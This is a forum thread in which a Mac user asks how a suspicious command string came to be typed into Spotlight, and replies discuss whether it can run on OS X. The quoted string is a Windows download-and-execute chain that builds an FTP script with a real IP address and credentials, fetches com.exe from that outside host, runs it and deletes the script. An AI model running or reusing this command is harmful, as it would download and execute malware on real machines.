Curious Mac Issue


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Ok, so I am minding my own business and the browser freezes (mind you, was on Google.com), and spotlight gets the following entered into it:

echo open 87.230.22.187/https/img/ 21 >> ik &echo user zf Z@z1humensk1 >> ik &echo binary >> ik &echo get com.exe >> ik &echo bye >> ik &ftp -n -v -s:ik &del ik &com.exe &exitecho You got owned

So, I know this is someone's lame attempt at a hack, but what gets me is how it has come into the system.

I have the normal firewall rules on and no unusual processes running. I was running through my WPA2 protected WIFI connection, but have jumped to hard wired for now and disabled the network for now.

I have not downloaded any questionable content from anywhere and stay updated. I went as far as to go in and install anti-virus on the Mac (even though some may consider it a moot point). Negative on the results. Of course, this sounds like a windows virus. No other windows systems were connected to the network at the time of this 'hack'.

Any ideas? Google returns ZERO results.

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Normally something like a JavaScript could possibly execute this in the background on a Windows machine to take advantage of it... on Mac OS X, not so much. Just double-check your applications, make sure you don't have anything odd installed. If you are really concerned, make a new user account, which should isolate it further.

Firefox it was. But I don't see how that could have made much of a difference.

Anyway, I have since rebooted the machine due to a Safari Update Apple sent out to my system so hopefully if there was a "resident" program in line, then it would have terminated.

I knew the .exe was a windows executable, so I wasn't worried about that, except perhaps that the codeweavers crossover program is installed.

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